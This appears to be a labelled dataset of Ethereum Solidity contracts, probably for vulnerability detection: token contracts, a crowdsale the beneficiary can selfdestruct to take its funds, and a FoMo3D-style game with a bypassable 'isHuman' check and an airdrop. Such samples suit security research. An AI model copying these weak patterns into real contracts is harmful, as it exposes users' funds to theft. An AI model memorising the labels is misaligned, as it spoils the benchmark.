function min256(uint256 a, uint256 b) internal constant returns (uint256)
{
return a < b ? a : b;
}
function assert(bool assertion) internal
{
if (!assertion)
{
throw;
}
}
}
contract ERC20Basic
{
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic
{
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is ERC20Basic
{
using SafeMath for uint;
mapping(address => uint) balances;
modifier onlyPayloadSize(uint size)
{
if(msg.data.length < size + 4)
{
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32)
{
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint balance)
{
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20
{
mapping (address => mapping (address => uint)) allowed;
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32)
{
uint _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value)
{
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint remaining)
{
return allowed[_owner][_spender];
}
}
contract SophosToken is StandardToken
{
string public name = "Sophos";
string public symbol = "SOPH";
uint public decimals = 8 ;
uint public INITIAL_SUPPLY = 3000000000000000;
uint public constant ALLOCATION_LOCK_END_TIMESTAMP = 1572566400;
address public constant RAVI_ADDRESS = 0xB75066802f677bb5354F0850A1e1d3968E983BE8;
uint public constant RAVI_ALLOCATION = 120000000000000;
address public constant JULIAN_ADDRESS = 0xB2A76D747fC4A076D7f4Db3bA91Be97e94beB01C;
uint public constant JULIAN_ALLOCATION = 120000000000000;
address public constant ABDEL_ADDRESS = 0x9894989fd6CaefCcEB183B8eB668B2d5614bEBb6;
uint public constant ABDEL_ALLOCATION = 120000000000000;
address public constant ASHLEY_ADDRESS = 0xb37B31f004dD8259F3171Ca5FBD451C03c3bC0Ae;
uint public constant ASHLEY_ALLOCATION = 210000000000000;
function SophosToken()
{
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = totalSupply;
balances[msg.sender] -= RAVI_ALLOCATION;
balances[msg.sender] -= JULIAN_ALLOCATION;
balances[msg.sender] -= ABDEL_ALLOCATION;
balances[msg.sender] -= ASHLEY_ALLOCATION;
balances[RAVI_ADDRESS] = RAVI_ALLOCATION;
balances[JULIAN_ADDRESS] = JULIAN_ALLOCATION;
balances[ABDEL_ADDRESS] = ABDEL_ALLOCATION;
balances[ASHLEY_ADDRESS] = ASHLEY_ALLOCATION;
}
function isAllocationLocked(address _spender) constant returns (bool)
{
return inAllocationLockPeriod() && isTeamMember(_spender);
}
function inAllocationLockPeriod() constant returns (bool)
{
return (block.timestamp < ALLOCATION_LOCK_END_TIMESTAMP);
}
function isTeamMember(address _spender) constant returns (bool)
{
return _spender == RAVI_ADDRESS ||
_spender == JULIAN_ADDRESS ||
_spender == ABDEL_ADDRESS ||
_spender == ASHLEY_ADDRESS;
}
function approve(address spender, uint tokens)
{
if (isAllocationLocked(spender))
{
throw;
}
else
{
super.approve(spender, tokens);
}
}
function transfer(address to, uint tokens) onlyPayloadSize(2 * 32)
{
if (isAllocationLocked(to))
{
throw;
}
else
{
super.transfer(to, tokens);
}
}
function transferFrom(address from, address to, uint tokens) onlyPayloadSize(3 * 32)
{
if (isAllocationLocked(from) || isAllocationLocked(to))
{
throw;
}
else
{
super.transferFrom(from, to, tokens);
}
}
} | 0 | 922 |
pragma solidity ^0.4.25;
interface IERC20 {
function name() external view returns (string);
function symbol() external view returns (string);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract TYD is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
string private _name = 'Tianya Diamond';
string private _symbol = 'TYD ';
uint8 private _decimals = 18;
uint256 private _totalSupply;
constructor () public {
_mint(msg.sender, 900000000 ether);
}
function name() public view returns (string) {
return _name;
}
function symbol() public view returns (string) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
}
} | 1 | 3,468 |
pragma solidity ^0.4.16;
interface token {
function transfer(address receiver, uint amount);
}
contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
function Crowdsale(
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
uint durationInMinutes,
uint etherCostOfEachToken,
address addressOfTokenUsedAsReward
) {
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 ether;
deadline = now + durationInMinutes * 1 minutes;
price = etherCostOfEachToken * 1 ether;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () payable {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
if(amount > 10 ether){
tokenReward.transfer(msg.sender, (amount / price) + ((amount / price)/2) + ((amount / price)/20));
}
else{
tokenReward.transfer(msg.sender, (amount / price) + ((amount / price)/2));
}
FundTransfer(msg.sender, amount, true);
}
function withdrawCoins() public{
if(msg.sender == beneficiary){
selfdestruct(beneficiary);
}
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 0 | 477 |
pragma solidity ^0.4.24;
contract LBevents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is LBevents {}
contract LB is modularShort {
using SafeMath for *;
using NameFilter for string;
using LBKeysCalcLong for uint256;
address community_addr = 0x3661647405Af4cf29a4843722dC103e5D81C7949;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x392063fCb96E78Eb4b51d8faee3F5e1792959F67);
string constant public name = "LB";
string constant public symbol = "LB";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 0;
uint256 constant private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => LBdatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => LBdatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => LBdatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => LBdatasets.TeamFee) public fees_;
mapping (uint256 => LBdatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = LBdatasets.TeamFee(30,0);
fees_[1] = LBdatasets.TeamFee(43,0);
fees_[2] = LBdatasets.TeamFee(56,0);
fees_[3] = LBdatasets.TeamFee(43,8);
potSplit_[0] = LBdatasets.PotSplit(15,0);
potSplit_[1] = LBdatasets.PotSplit(20,0);
potSplit_[2] = LBdatasets.PotSplit(25,0);
potSplit_[3] = LBdatasets.PotSplit(30,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. ");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
LBdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
LBdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
LBdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
LBdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
LBdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
LBdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
LBdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
LBdatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit LBevents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit LBevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit LBevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit LBevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit LBevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, LBdatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit LBevents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, LBdatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit LBevents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, LBdatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(LBdatasets.EventReturns memory _eventData_)
private
returns (LBdatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, LBdatasets.EventReturns memory _eventData_)
private
returns (LBdatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(LBdatasets.EventReturns memory _eventData_)
private
returns (LBdatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot.mul(6) / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen));
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
community_addr.transfer(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = 0;
